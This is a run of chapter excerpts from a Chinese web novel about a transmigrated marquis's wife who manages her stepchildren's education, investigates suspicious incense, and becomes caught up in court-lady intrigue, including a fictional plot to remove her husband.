“当然。”苏若琳轻笑,这个年代的先生和学生还是有着很深的羁绊的,不同于她的前世,老师和学生更类似于一种暂时性的关系,“只要你打心里认定长辈是你尊敬的先生,而长辈也真心把你当作徒弟或者孩子来看到,就能说长辈是你的先生。” “那,那样的话!”杨婉枝道,“母亲也是我的先生!” 苏若琳一愣,看着杨婉枝满心期待的小表情,恍然失笑:“你这么说倒也是。” 自己教导这孩子弹琴看账管家,怎么不 16. 熏香 《侯府大小姐竟是男扮女装?》全本免费阅读 杨纨岚握住笔在纸上写了一个“四”,苏若琳很快发现了端倪,果然是姿势错了,杨纨岚握笔的手只有三根手指握住笔,明显是画画的手势。 她拍了拍杨纨岚的脑袋,轻笑:“你当自己是在画画呢?” 她握住杨纨岚执笔得手,调整他的手势,带着他的手写了一个漂亮的“四”字。 “你自己再试试。” 杨纨岚用修正的手势再写了一遍,果然要比从前漂亮许多,至少正方块终于不再是圆球了。 祝贤盛冷哼了一声:“大书法家苏某有言,执笔无定法,你这小子倒是不套在框子里还不行。” 苏若琳笑眯眯道:“圣人也说过,要因材施教嘛。” 祝贤盛倒是没生气,点了点苏若琳的额头:“你呀你呀。” 杨纨岚趁着长辈聊天,偷偷地把桌上的奶茶端过来,喝了一口,眼睛瞬间亮了:“哇,哥,这个真好喝!” 杨纨岚附和。 “光记吃不记打的玩意!”祝贤盛瞪了杨纨岚一眼,后者瑟缩了一下脖子。 然后又喝了一口奶茶安慰一下自己被凶得怕怕的小心肝。 苏若琳邀功般地问祝贤盛:“祝爷爷您觉得这个奶茶怎么样?” 祝贤盛砸吧了一下嘴:“甜昔昔的,也就你们这帮小妮子混小子喜欢。” 确实,祝老爷子最喜欢茶的苦香,第一泡最好,到了第二泡就开始嫌茶淡了。 喝过课间饮料休息完,祝贤盛让两兄弟把笔墨收了起来,发给两兄弟和苏若琳杨婉枝一人一本书。 苏若琳接过一看,竟然是《大学》。 “我也学啊?” “不学你就出去。”祝贤盛手一抬就要把书拿回来。 “别呀,我学。”苏若琳连忙拿着书躲开,同时还不忘嘱咐杨婉枝,“婉枝你也跟着学,多读些书总是没错的。” 一堂课下来,苏若琳是觉得挺无聊的,而且她也不是真来学习的,只是杨婉枝似乎听得很认真,她和杨纨枫都坐得笔直笔直的,那姿势比比赛坐姿的小学生还标准。 于是在这间学堂里,祝贤盛在上边讲,杨婉枝和杨纨枫在下边听,杨纨岚头一低开始打瞌睡,苏若琳悄悄把手伸到杨纨枫肚子前,一挠。 “哎哟!” 祝贤盛听到声音皱眉而视,苏若琳秒恢复坐姿,遂只剩下懵圈的杨纨岚接受祝老爷子的目光洗礼。 “谁挠我?” “站着上课!”祝贤盛喝道。 “......哦。”可怜的杨纨岚站了起来。 直到今日的课堂结束,杨纨岚还在疑惑:“哥,是你挠的我?” 杨纨枫目光轻瞟了苏若琳一眼,苏若琳连忙将食指抵在唇上,做了一个“嘘”的手势。 杨纨枫收回目光,轻笑:“你猜?” 他和母亲有秘密了! 杨纨枫不知所云地挠了挠头,他感觉应该不是他哥挠的,可是大姐姐和母亲也不像是会做这种事的呀? 苏若琳又凑到杨婉枝身边:“感觉如何?” “感觉,学到了很多!”杨婉枝如是道,只是她没说的是,她总觉得这样上课带给她一种很熟悉的感觉,仿佛她曾经真的在这样相似的一个小屋子内,听着一个老顽童一样的老头教诲。 尽管曾祖很凶,让她有点害怕,但是相处下来,她又觉得曾祖是挺亲切的一个人。 嗯,又凶又亲切。 “嗯?学到了什么?”苏若琳纳闷,大学之道,在明明德,在亲民,在止于至善,一堆空话,道理谁都会说,她自己都未必能懂。 杨婉枝却道:“要与人和善,要时刻反省自己,都是很有用的东西!” ?这就是先天读书圣体吗,苏若琳恍然大悟。 祝贤盛走过来:“你这丫头,倒是挺好学。” 杨婉枝害羞地笑了。 “小丫头应该识字吧,读过书吗?会写字吧?”祝贤盛找了把椅子坐了下来,苏若琳连忙上去给他倒好茶水。 “回曾祖,在庄子里学过写字,但是没有读过书。”杨婉枝道。 “嗯。”祝贤盛点了点头,又喝了口茶,跟苏若琳道,“往后让这丫头每天来这我上半天课,你要有空你也来。” “啊?”苏若琳一呆。 她不想来啊!看祝老爷子可以,上课可要了她老命啊! 她前世出生在高考大省,初高中六年都是起早贪黑过来的,怎么穿越到了古言小说里还要上课? 杨婉枝倒是很开心,期许地小鹿眼看着苏若琳:“母亲,可以吗?” “当然。”苏若琳皮下肉不笑道,只是往后她要化身一个勤俭持家、日夜操劳的好主母了。 往后杨婉枝还真的每日都来到祝贤盛的院子里来上课,雷打不动,她真心觉得有些东西很有用,也总有种感觉,她以后也许真的会用到这些。 母亲和旁人都不一样,旁人都说女子读书没用,母亲却告诉她多读书是好的,那她就更好要要学。 再有就是,越上课,她就越觉得这样上课的感觉熟悉,这间屋子的摆设熟悉,曾祖教训他们的语气熟悉。 对于这件事,苏若琳还是很欣慰的,前提是没有让她跟着一起上课的话,有三个孩子挨老爷子的训,某种意义上也算是含饴弄孙了。 后来秋姨娘来找苏若琳,苏若琳还把这事说给秋姨娘听:“你瞧瞧,现在我都不敢去老爷子院里了,念书这事真是难为我了。” 秋姨娘跟着笑:“那夫人以后可不能再躲懒了,否则让老爷子知道了说不准就揪着您去上课了。” 暗地里却狠狠地捏了一把汗,天呐,那老先生连大小姐都教了,还能是什么正经先生?这样下去别说是大小姐了,连两个少爷都得学废了! 出了碧月轩以后,秋姨娘马不停蹄地到了杨纨玦的院子里,仔细叮嘱儿子:“你有时间还是多关照你那两个弟弟吧,我瞧着那先生实在是个不靠谱的!” 杨纨玦有些无奈,只是娘都这样叮嘱了,只好在某个晌午去腾云轩看望了一番。 两兄弟见到杨纨玦很是惊奇:“大,大哥?” 杨纨玦也有些不自在,他和两兄弟除了祠堂认亲之外从来没见过面,凭空多了两个弟弟,还要关心他们,这怎么关心? “咳咳......母亲和我姨娘经常聊起你们两个念书的事,对你们的学业很是关心,所以叫我来看看,有什么不懂的地方吗?” 杨纨岚眼睛一亮:“我的课业不会写,大哥你能帮我写课业吗?” 回应他的是杨纨枫爱 17. 郡主府茶会 《侯府大小姐竟是男扮女装?》全本免费阅读 事关重大,芷若是一刻也不敢耽误,腾云轩里管两位少爷衣柜衣物的是巧织,巧织是夫人院子里调来的大丫鬟,就连两个少爷身边的贴身小厮,刘管事的儿子都客客气气的喊一声“巧织姐姐”。 因此芷若也不敢跟巧织提这事,也从来不敢碰巧织负责的衣柜,万一人家觉得自己怀疑人家,把人给得罪了可怎么办?只是如今夫人亲口说的巧织可信,芷若也就没有顾忌了。 第二日,芷若便带着衣柜里的那份香包来找苏若琳了。 “奴婢瞧着这几味药材着实不同寻常,虽然如今已经风干了,但是看样子应该是南方那边才有产。”芷若将那几味药材挑了出来,指给苏若琳看,“奴婢才疏学浅,南方的许多药材运到京城来造价极高,奴婢也没用过,看不出习性。” 南方的药材? 柳姨娘就是出身南方,这下她身上的疑点越来越重了。 而且她有太充分的理由要害这三个孩子了。 “行,这件事你办的很好,先下去吧。”苏若琳一摆手,绿俏递给了她一个红封。 芷若接过红封却更惶恐了,她也没查出这些药材的用处,也没查出背后到底有什么阴谋,夫人怎么给她这么大的赏赐,莫不是准备要灭口...... 苏若琳轻笑:“你别多心,这件事你属实是帮上大忙了,剩下的交给我就好,这赏赐是你该得的。” “只一点。”苏若琳提醒,“这件事,往后你烂在肚子里就够了。” “是!”芷若忙不迭道。 苏家的生意于药材上涉及的甚少,她知道吩咐红烛悄悄出府,找些大药铺和医馆去查查。 药材很快是查到了,只是药铺的掌柜和医馆的大夫们都问过了,皆道这些都是名贵的补药,并不会害人,用银针验过了,也并无毒性。 线索到了这里就中断了,苏若琳不相信这是巧合,府上的东西都是统一配置的,样样东西都过她的耳目,若有她没见过的东西,只能是府上原本就有的,或者有人私底下瞧瞧弄来的。 只是今日恰巧到了安康郡主在府上开茶会的日子了,前几天也已经通知了杨婉枝,如今刚来到她的屋里,穿戴整齐,只等着和她一道去参加茶会。 苏若琳叹了口气,吩咐红烛和绿俏给她梳妆。 杨婉枝疑惑道:“母亲可是有什么烦心事?” 苏若琳摇头:“没什么,你且坐着等一会,我很快就好。” 杨婉枝顿了顿,到底是将犹豫了几天的话说了出来:“母亲是不是不喜欢参加郡主的茶会?我知郡主邀请母亲是因为我,若是母亲不喜,便由我来推辞掉好了。” 她知道临到今天这都要出门了,自己才说这话实在是太迟了,只是她即便将这话说出来也是用了极大的勇气。 先前出门在霓裳阁买衣料那事她就看得出来,郡主并不喜欢母亲,只是郡主待自己确实和善,她是自己生母的至交...... 她也想知道,自己的生母是什么样的?郡主说自己同生母极像,那生母的性格又是如何的?郡主不是说自己的生母也是国公府的大小姐吗,为何这些年来国公府对自己问也不问? 难道国公府同这侯府一样的冷漠无情? 她实在是有太多的疑问,可是她也看得出来,母亲参加茶会定然不会开心,说不定也会遭受刁难。 苏若琳看着杨婉枝纠结的小脸,捏了捏她的脸蛋:“你呀就别瞎想了,这茶会左右我是推辞不掉的,不单是因为你。” 况且,安康郡主不是要给婉枝做主么。 柳姨娘是二小姐和四少爷的生母,她不好动,那就让郡主去动吧。 看看杨询敢不敢违抗郡主的命令。 苏若琳很快梳洗好,两人上了马车。 马车驶进郡主府,在下人的引领下,苏若琳和杨婉枝来到了后花园。 近些日子天气回暖的很快,春意盎然,后花园里桃花开的甚是旺盛。 已经有不少高门贵妇聚在了亭子里,闲谈笑语,好多小姐姑娘们在桃花树丛下玩闹嬉戏。 上首处的安康郡主见到杨婉枝时眼睛一亮,却又板起脸看向苏若琳:“安定侯夫人,来得有些晚了。” “实在抱歉。”苏若琳满脸歉意,“今日侯府有些急事,好不容易得了空。” 先前在霓裳阁就和苏若琳不对付的周夫人讥笑:“小门小户来的就是不一样,鸡毛蒜皮的小事想必不少吧。” 周围的诸位夫人小声议论道:“原来这就是那安定侯夫人啊。” “听说娘家不过一介商户,往上数几代也无半点官职。” 杨婉枝听见了,皱起眉,她果然还是该劝母亲不要来的。 反倒是苏若琳面不改色,拉着她要就座。 安康郡主向杨婉枝招手:“婉枝快来,让姨母好好看看。” “原来这就是吴二姑娘的女儿啊,瞧着和吴二姑娘生前是真的像。” 又有不少夫人向着杨婉枝抛出橄榄枝。 “我同你生母从前极是交好,如今瞧见你出落得这般好,也就放心了。” 杨婉枝不语,安康郡主拍了拍她的手,带着她离开亭子。 “我同婉枝散步叙叙旧,你们先聊。” 说着便带着杨婉枝离开了,把苏若琳剩在这帮高门贵妇中间。 那些夫人都不傻,都是有眼力见的,看得出来郡主不喜欢她,也就没人理她。 更何况,就算郡主没有不喜欢她又如何,一个商户女都能嫁进侯府,真是前所未闻。 那安定侯不也是罪臣么,罪臣落魄户配小门小卒,倒也算是般配。 周夫人见状笑得更是开怀,她就知道,真正的王公贵族同她的想法都是一样的,这样的贱民本就不配和她们在一块! 左右周围的夫人们相谈甚欢,苏若琳权当听不见,饮了一口茶,有些想念自己在家中调的奶茶了。 遂问向在旁伺候的丫鬟:“你们府上可有牛奶?” 丫鬟也是倨傲得很:“我们郡主府从来只喝羊奶。” 牛奶这么低廉的东西,他们郡主府才不用呢,果然是小门小户。 苏若琳嗤笑,连个丫鬟都能狐假虎威了:“那你去给我准备些羊奶来。” 丫鬟趾高气扬:“这位夫人,茶会饮用什么都是一早就定好的,从没有中途换掉的规矩。” 苏若琳不想忍了:“只是给我弄一份羊奶来,又不是给在场的所有夫人都换掉,你们府上就是这么教育下人待客的?” 丫鬟很是震惊,这商户女竟然在质疑郡主府?质疑郡主府不就是质疑郡主么! 这时也有夫人看不下去了:“你们这么大的郡主府连点羊奶都拿不出来么?” 苏夫人再怎么样如今也是嫁做了贵族妇,哪里容得一个小小的奴婢欺辱? 丫鬟不敢再嚣张,行了个礼便下午弄羊奶去了。 苏若琳感激地看向帮她说话的人:“多谢夫人,我是安定侯夫人苏氏,请问夫人是?” 那夫人瞧着慈眉善目:“我是北辰侯夫人何氏。” “北辰侯府?”苏若琳想起了令秋歌,“敢问北辰侯府的二小姐令秋歌是您的……” “你认识爱女?”何夫人惊讶道。 苏若琳便将在琴行和令秋歌相识的事说了一遍。 “那可真是巧了。”何夫人笑了,“那丫头于琴上 18. 打架 《侯府大小姐竟是男扮女装?》全本免费阅读 来者正是当今唯一的兄弟,宁安王。 饶是安康郡主也已经是做母亲的人了,在宁安王还是宛如一个孩子一般。 郡主挽住宁安王的胳膊:“您来了怎么也不知会一声,我去接您啊?” 宁安王自然对这个自己唯一的血脉甚是宠爱:“下人们说你在办茶会,我要是知会一声,你的客人们全知道宁安王来了,你这茶会还办不办了?” 说罢又看向一旁甚是拘谨的杨婉枝:“这是哪家的孩子?” 杨婉枝连忙行了个大礼:“臣女杨氏拜见王爷。” 还未等宁安王开口,安康郡主便过去将杨婉枝扶了起来,热切地介绍道:“父亲,这就是我先前的好姐妹,安定侯原配夫人的遗女。” 说罢又叹了口气:“这孩子命苦,那安定侯也实在过分,你是不晓得她先前过得都是什么日子,女儿想着这没了娘的孩子实在是不好过,自己好歹是她娘的挚友,便给这孩子撑一撑腰,也别让她受欺负了去。” “你呀你。”宁安王慈爱地揉了揉女儿的发顶,“你这孩子从小就心善,想帮就帮,那安定侯要是敢有意见看我怎么收拾他。” “谢谢父亲!”得到了父亲支持的安康郡主欢快道。 宁安王别有深意地端详着杨婉枝,眼中闪过晦暗不明的光,但随即便不由自主地咳嗽了几声:“咳咳咳......” “父亲!”安康郡主顿时焦急了起来,忙搀扶着父亲给他顺气,“父亲,您说说您,若是想女儿了派人来通知女儿一声,女儿去看您啊!还要您亲自来跑一趟,真是要吓死我。” 宁安王摆摆手:“不妨事,不妨事。” 说罢由下人搀扶着,离开道:“你好好玩,我呀这辈子就盼着你好好的,开开心心。” 直到宁安王离开以后,安康郡主才歉意地看向杨婉枝:“你瞧瞧,姨母都这么大个人了,还让晚辈看笑话。” 杨婉枝轻轻摇头:“王爷很疼爱您。” “那是自然。”安康郡主说罢叹了口气,“只是可惜父亲就我一个孩子,也没能留下个儿子。” “罢了罢了,我和你说这些做什么。”安康郡主摇了摇头,又笑道,“等了这么久,咱们快去净脸,然后快些回去,今个茶会不少人家的小姐都来了,你也多交几个朋友。” 彼时的后花园正起着争执。 原是令秋歌同这帮千金小姐们实在聊不到一起去,便自己找了个树底下坐着哼琴曲,却被一些小姐们当作是假清高。 以周夫人的女儿为首,几个小姐们踢毽子,连着几次故意把毽子踢到令秋歌的身上,给她惹火了。 于是两拨人就打了起来。 只是这实在是不能说互打,对方人多势众,令秋歌努力反抗。 下人们看到以后连忙给人拉开,然后去亭子里通知夫人们。 夫人们闻言连忙赶了过去,周夫人抱着女儿一阵心疼:“翠翠!你哪里被打了?哪里疼?心疼死娘了!” 说罢便怒斥何夫人和令秋歌:“瞧瞧你们侯府教养出来的好女儿,真是歹毒!” 何夫人心疼地安慰着女儿,令秋歌的脸都被刮花了,幸好没有破皮,眼眶通红地依偎在母亲怀里,委屈得很。 “周夫人这话说得可真是不讲道理,你们几个人一起欺负我的女儿,瞧瞧给我家秋歌的脸弄成什么样了,以后嫁不出去了可要找你!” 周夫人怪笑了一声:“嫁不出去那是她活该,自己作的孽自己受着!” “你!”何夫人瞪着她,嘴上也不留情了,“真是上梁不正下梁歪,女儿如此恶毒,原来是做娘的心更黑!” “你敢这么跟我说话,一个二品侯夫人对着一品国公府的世子夫人大呼小叫,真是要翻了天了!”周夫人惯会拿身份压人,“我的女儿,你告诉娘,那没教养的小丫头怎么欺负你的,娘定要让郡主做主给你讨个公道!” 周夫人的女儿也不是个省油的灯,眼睛滴溜一转,便委屈地流眼泪道:“我们踢毽子踢得好好的,她就上来拿毽子扔我们,还威胁我们!” 令秋歌气不打一处来:“是你们一直把毽子踢到我身上,一次也就罢了,每次都往我身上踢!” “我们那是不小心的,可你是故意的!” 安康郡主和杨婉枝一回来就遇到了这么个事。 周夫人连忙带着女儿来到安康郡主面前:“求郡主给我们做主啊,那北辰侯府实在欺人,以下犯上,瞧瞧他们家女儿把我女儿打的!” 安康郡主瞅了一眼周夫人的女儿几乎看不出来哪被打了,又瞥了一眼令秋歌脸上触目惊心的红印。 “......”安康郡主头疼地捏了捏眉心,问向在后花园伺候的下人,“发生了什么事?” 两边都是贵人,那下人谁也不敢得罪,当即跪下磕头说自己疏忽了,一回过神便看见小姐们打起来了。 至于怎么打起来,不知道,自己疏忽了,求郡主责罚。 安康郡主只好又问在场的小姐们,大多数都是站在周夫人的女儿这边的,说是令秋歌先拿起毽子扔她们,也有少数替令秋歌说话,把事情原原本本地讲出来。 安康郡主横了周夫人一眼,也不是什么大事,非要闹得这么大,这个周夫人眼里是一点亏都不想吃。 周夫人这些年来是一直唯安康郡主马首是瞻的,处处殷勤,为得就是以后多几分照拂,只是令秋歌的脸都被霍霍成这样了,安康郡主也实在是不能昧着良心一味偏袒周夫人。 “依我看,小孩子们打打闹闹罢了,这件事......” 杨婉枝默默地看向安康郡主,而后者也注意到了这孩子的目光。 “......” 杨婉枝的眼神平淡如水,只是安康郡主却觉得自己仿佛被两道炙热的火灼烧着一般。 苏若琳招呼杨婉枝:“婉枝过来。” 杨婉枝来到苏若琳身边:“母亲。” 苏若琳牵起女儿的手:“我先前给你的那些膏子还有吗?可有没用过的,多的几只回头送给令小姐可好?” 这声音不大,语气也平静地很,但是众人却听得清清楚楚。 其实杨婉枝院子里的膏子没有多的,她一般都是用完了再去找母亲拿,这样就能多一个理由去找母亲。 而现在她却是配合地点头:“好。” 苏若琳笑眯眯地看向何夫人:“夫人也知道,我家经商,有好些南方特制的膏药,效果很好,还没有副作用,我和女儿都在用,想来能对秋歌的脸有些用处。” 何夫人 19. 去父留子 《侯府大小姐竟是男扮女装?》全本免费阅读 安康郡主领着苏若琳走出亭子里很远,直到一潭水池面前,彼时池子里的水早已解冻,清晰可见锦鲤的影子。 安康郡主什么都没说,接过下人递过来的饲料,往水池里撒去。 苏若琳就在水池边上候着。看着安康郡主在这喂鱼,心里也是纳闷,这郡主是在干啥?等着自己心理承受不住跪下来招供? 耗着呗,反正她就是一个嫁进侯府的商户女,而对方是郡主,郡主的时间肯定更金贵。 直到安康郡主喂完手里的饲料,才看向苏若琳,见后者未曾心虚,也未曾紧张,叹了口气,吩咐下人搬来了两把太妃椅:“坐吧。” 这些天里她也打听了一些苏氏和婉枝的事,如先前所知道的那般,婉枝从小在庄子里长大,早些年侯府还偶尔会送些钱财去,等过了两年就对婉枝完全不管不问了。 这事确实不是苏氏的问题。 她本来想着先给这苏氏来个下马威,让这孩子遭了这么多罪,就是她的过错,别管最后罚到谁身上,都得先罚一遍主母。 只是她今日见了婉枝,别说身上穿的带的,那是一般的侯府都不能有的,那孩子全程都依赖着苏氏,刚才那事也是向着苏氏。 她看苏氏的眼神,那眼里的孺慕之情不是假的。 可见苏氏也是真的待婉枝不错。 “你就没有什么想说的?” 苏若琳在心里默默地叹了口气,这些难伺候的上级就是这样,要罚你,还为了自己的面子不能直接罚你,得叫你自己主动地去请罪,他才不得不罚。 既成全了他,又传出来一个仁慈和善的美名,毕竟不是他要罚的,是你自己请罪的。 想归想,苏若琳直接就跪了下来:“臣妇疏忽职守,御妾不严,让大小姐受了这么多年的委屈,请郡主责罚。” “御妾不严?你的意思是,婉枝受了这么多年的委屈,是安定侯的妾干的?”郡主眸子一冷,她要打探婉枝的事,自然也就只能打探到庄子里,至于人家侯府自家的秘密,恐怕只有皇帝想知道才能打听。 只是她断然也想不到,磋磨婉枝的不是安定侯,而是一个小小的妾! 不过一个奴,好大的胆子! “你仔细说说,妾到底是个奴,小姐可是主子,哪个奴敢欺负自家主子?” 苏若琳便道:“这些也是臣妇后来才知道的,侯爷原本也没有要送大小姐去庄子里的,只是侯爷有一个宠妾姓柳,是那柳氏提议的......” “什么?!”郡主自小便是宁安王的掌上明珠,因着是唯一一个养大的,待遇不输公主,成婚后仪宾也从不敢纳妾,自然从来没见过这么胆大妄为的妾。 “在臣妇嫁到侯府之前,侯府的中馈也一直是柳氏持拿,可见这柳氏确实宠爱之盛。”苏若琳又趁热打铁,补充道,“只是有一点,臣妇还在查,先夫人毕竟是国公小姐,嫁妆理应不会少,就算侯府不出钱养大小姐,靠着生母的嫁妆,大小姐这年来也不应当过得这么,这么......” 这么惨。 “还用查?”郡主拍案而起,“定是那柳氏吃了熊心豹子胆,给私吞了!好一个妾,好一个安定侯,从前我以为宠妾灭妻不过一个笑话,如今看来竟真的有这般违背纲常之人!” 苏若琳却道:“没有证据,臣妇确实不敢妄断,柳氏说到底也是侯爷心尖上的人,空口无凭便给其治罪,侯爷是不会善罢甘休的。” 郡主被气笑了,来回踱步:“那本郡主就要治她的罪便如何!还有那个安定侯,本郡主一起罚,让他来善罢甘休,看看他敢不敢报复本郡主!” “郡主息怒啊!”苏若琳见目的达到了,及时收火,“那柳氏欺负大小姐的事,确实一时半会找不到惩治的依据,但是臣妇这里有些眉目,能让那柳氏名正言顺地被惩治。” “哦?”安康郡主挑眉,也是觉察到了,柳氏这么受宠,必定也是苏氏心里的一根刺,她是早有清算柳氏的心,如今是想拿自己当枪使呢。 想把她当刀,可以,但是要付出代价的。 “那你倒说说,你有什么眉目?” 于是苏若琳将前些天芷若发现熏香有问题的事讲了出来:“那柳氏所出的四少爷如今一岁有余,不瞒郡主说,侯府这些年来确实出了问题,可能以后不会再有新的少爷。” “那么这柳氏很有可能是要害死府里的其他少爷,好让她的儿子成为侯府唯一的继承人。” “怎么,那安定侯不能生了?”安康郡主冷笑。 苏若琳挑眉,没说话。 那就是默许了。 安康郡主大笑:“这就是那匹夫的报应!” 又道:“这熏香现在何处?你交给我,外面的医馆查不出来,我送去宫里让太医查查看。” 苏若琳回答道:“回夫人,熏香还在侯府,回头臣妇派人将熏香送来。” “嗯。”安康郡主点头,她今日也算是见过另一层世面了,若说那柳氏胆大,那也是安定侯默许纵容的,说到底这事有一半的责任是安定侯的。 光是惩治一个妾,不足以平息她心头之恨啊。 “说起来苏夫人嫁进侯府也有两年了,也没能生下个一儿半女,着实可惜了。” “若是果真如苏夫人说的这般,安定侯如今不能生育了。”安康郡主幽幽地叹了口气,眼中闪过别样的情绪,“将来这侯府若是交到了别人的儿子手上,那苏夫人可就是给他人做嫁衣了啊。” 苏若琳一时间不知道安康郡主想干什么,却也没有对她隐瞒的必要:“不瞒安康郡主说,侯府的二少爷和三少爷生母早逝,如今是记在臣妇名下的。” “哦?”安康郡主挑眉,那倒是方便多了,她向着苏若琳勾了勾手指,示意她凑过来。 苏若琳不明所以,但还是把头凑了过去,只听得郡主附到她耳边低语道:“你如今也是守活寡,只要安定侯在一天,你的位子也有被夺走的风险。” “你就没有想过直接让自己的儿子继承爵位,直接高枕无忧?” 卧槽,玩这么大?! 苏若琳不可思议地看着安康郡主,这郡主比她想的还狠啊! 安康郡主玩味地看着她:“既然我帮你把这熏香的事查出来,你也帮我,把这事成了如何?” “不用怕事情败露了之后会如何,我能让你做这件事,出了事也能保你。” 即便如此,去父留子这事对现在的女人们来说也是一项巨大的心理考验。 当今女子以夫为天,且不说没有了男人要面对多大的压力,侯爵五代世袭而斩,安定侯若是死了那就直接少了一代,往后下一代,下下一代,恩泽只会更少。 然而苏若琳却道:“没问题。” 安康郡主有些诧异:“你这么快就答应了,不仔细考虑考虑?” 苏若琳道:“反正这侯府有他没他都一样,他就是一个吃干饭的。” 这话确实是真话。 但这番话能从一个女子口中说出,还是如此地轻而易举说出口,安康郡主此时此刻倒是有些欣赏苏若琳了。 “只是......臣妇还有一事请求郡主。” “什么事?说来听听。”安康郡主只觉得这苏若琳无论是胆量还是见识都远超旁人,此人说是男子,说不定是个可造之才。< 20. 先生吵架 《侯府大小姐竟是男扮女装?》全本免费阅读 啊???? 苏若琳一个激灵被吓醒了,连忙起床穿衣洗漱:“不是,他们怎么吵起来的?” 原来这些日子杨纨玦和阿枫阿岚两兄弟走的日渐近了,时常辅导他们功课。 但是祝贤盛的教育方式过于别具一格,面对两兄弟功课上的偏门问题杨纨玦也时常苦恼。 杨纨玦一苦恼就会去问自己的先生,刘珂听后大为震惊,觉得这样的内容实在荒谬,遂严厉地质问自己的得意门生他这些问题是从哪听来的。 随后刘珂就了解到了祝贤盛这位老先生,并对他的教育方式大为费解,尤其是不把字认全了就先学四书五经这是什么破教法?! 刘珂自认师从大儒陆恒之,同门桃李满天下,实在是不能放任这样的歪门邪道不管,于是便带着杨纨玦去祝贤盛院里踢馆去了。 尤其是当他看到杨婉枝居然也跟着一起上课的时候,更是气不打一处来,哪有正经人家的女孩子不学着琴棋书画,管理后宅,来这里学什么念书?! 而祝贤盛的愤怒就很简单了,你放着自己的学生不教,来管我教学生干什么,狗拿耗子多管闲事! 苏若琳听完嘴角微抽,这...... “罢了罢了,红烛呢,你让她先去劝劝两位先生,别打起来,我随后就到。” 绿俏又道:“红烛姐姐已经把两位先生劝住了,只是两位先生都希望您能来主持个公道,如今两位先生连同三位少爷都在前厅等着呢,红烛姐姐正在前厅伺候。” “好。”苏若琳点头,迅速地把自己简单收拾了一下,便带着绿俏来到前厅。 前厅里,祝老爷子倒是沉得住气,悠哉游哉地喝茶,刘珂瞪着老爷子,大有随时都能和老爷子干起来的架势。 三兄弟站在自家先生身边,眼观鼻观心,像三只把头埋起来的鸵鸟。 见到苏若琳,刘珂“蹭”地一下站了起来,指着祝贤盛道:“夫人,纵然两位少爷开蒙太晚,难成大器,可也不必找这样半吊子的先生吧!” “你说谁难成大器?”祝贤盛把茶杯狠狠地敲在桌子上,“骂谁半吊子!老爷子我中解元的时候你还在娘胎里生都没生出来!” “我敬你年纪大,姑且算是长辈,说话尚且客气,但你不要信口开河!”刘珂气得脸通红,“你既然说你中了解元,那你为何没有及第!不要告诉我堂堂解元连个进士都考不上去!” 祝贤盛拍了拍自己的瘸腿:“看见没?如果不是老爷子我瘸了,考不了,你以为现在的大儒能是陆恒之?” “你!竟敢侮辱恩师!”刘珂气得全身发颤,险些站不稳,勉强扶着桌子。 杨纨玦连忙上去搀扶:“先生,您消消气,别气坏了身子!” 刘珂摆摆手,被杨纨玦扶着坐到椅子上,连着喝了几口茶,才缓过来那口气。 祝贤盛是碍于自己的形象忍住了没翻白眼,老陆收的学生是越来越差劲了,自己一个平a就给他大招炸出来了,这以后哪天群儒论辩能撑得了几回合? 只见刘珂深呼吸了几口气,朝苏若琳作揖。 苏若琳吓了一跳:“刘先生快请起,您这是做什么?” 刘珂道:“请夫人将这等祸乱天下读书人的浊流请出府去吧,为表补偿,吾愿代替此人教导两位少爷。” 苏若琳这可真是犯难了,平心而论,刘珂先生为人还是可以的,让她把老爷子赶出府了自己还愿意补窟窿,在天下教书先生里边,刘珂先生也是各大贵族争抢的对象。 只是,祝爷爷她真的不能赶出去啊! 而祝贤盛则嗤笑一声:“你以为你是谁,还赶我?不如这样,你现在滚出去,回到陆恒之身边,跟着他磨一磨心性,你这学生我来替你教。” “你怎可一而再再而三地直呼先生大名!!!” 刘珂破防了,真的破防了,这个老头他真的忍不了了! “你这老贼,先生乃天下读书人之表率,同太师乃是至交,岂容你如此轻言!” “你还挺了解你先生的交际?”祝贤盛挑眉,“你知道陆恒之和张辅之是至交,就没听他说过祝贤盛?” 刘珂一顿,这名字...... 似乎真的在哪听说过。 祝贤盛摆摆手:“罢了罢了,我不和你一个小辈计较,你呀回去问问老陆,问问他对祝贤盛的教书方法有什么意见,问完了他要是真有意见,你再带着他的意见来和我杠。” 说罢,祝贤盛便拄着拐起身:“小妮子,晚膳给我添一道佛跳墙。” 苏若琳愣愣道:“好。” 两兄弟连忙跟上,直到目送着祝贤盛离开以后,苏若琳这才缓过神来,歉意地看向刘珂:“刘先生,实在是抱歉,让您这般不愉快,实在是我们侯府招待不周。” 刘珂还在琢磨“祝贤盛”这个名字,到底在哪听过? 听到苏若琳的话,刘珂摇头:“无妨,也是吾欠考虑,给贵府添麻烦了。” 说罢也站起身:“今日的课结束后,吾需告假几日,还望夫人谅解。” 这刘珂先生也真是有涵养,闹这么大都没尥蹶子走人,还坚持上完今天的课,要是换苏若琳自己绝对做不来。 “那是自然。” 下午,得知消息的秋姨娘也慌慌张张地跑来了,一想到自己的儿子要少上好几日课,她也是肉疼得很,少学一天没准秋闱就会被刷下来呢! 无论是秋姨娘还是杨询都是有心让杨纨玦试一试今年的秋闱的,哪怕是被刷下来也没关系,杨纨玦还年轻,多考几次涨涨经验也好呢,反正如今侯府是不缺钱。 只是虽说着刷下来也没关系,秋姨娘还是希望自家儿子能中的,科举考试里秋闱竞争最是激烈,如今才年初,她就已经开始紧张起来了。 只是紧张归紧张,也不能跟主母说祝老先生的不是,秋姨娘来之前也是打听清楚了事情的经过,如今再到苏若琳面前,就道: “妾身觉得,刘珂先生既愿意收两位少爷做学生,何乐而不为呢?多少贵族子弟都争着抢着请刘珂先生去,反正祝老先生来咱们府上也是为着养老,夫人您觉得呢?” 如果苏若琳不是知道祝老爷子的来历,说不定她还真有点心动了,但是,不行。 “秋姨娘不必担心,此事我自有分寸。” 话虽这么说,秋姨娘还是担心啊,但是她也不后悔让儿子去给两位少爷辅导功课。 这时秋姨娘突然想到前些天来跟她讨要熏香的事:“前些天绿俏那丫头来讨熏香,说是夫人觉得自己衣柜里的熏香太过浓烈,想要换些清雅点的,不知我这熏香夫人用着可还习惯?” 说完便笑道:“不瞒夫人说,这熏香是妾身自己调的,妾身平时也没什么事 21. 偷钱 《侯府大小姐竟是男扮女装?》全本免费阅读 正在这时,外面来报,刘管事的儿子,阿枫和阿岚的贴身仆从带着一个小丫鬟来求见。 “嗯?”苏若琳把人放了进来,“出了什么事?” 刘管事的儿子名刘云生,性格聪慧机敏,苏若琳让他做两兄弟的贴身仆从也有她的考量,刘云生是家生子,在侯府里人脉很广,办事自然也方便。 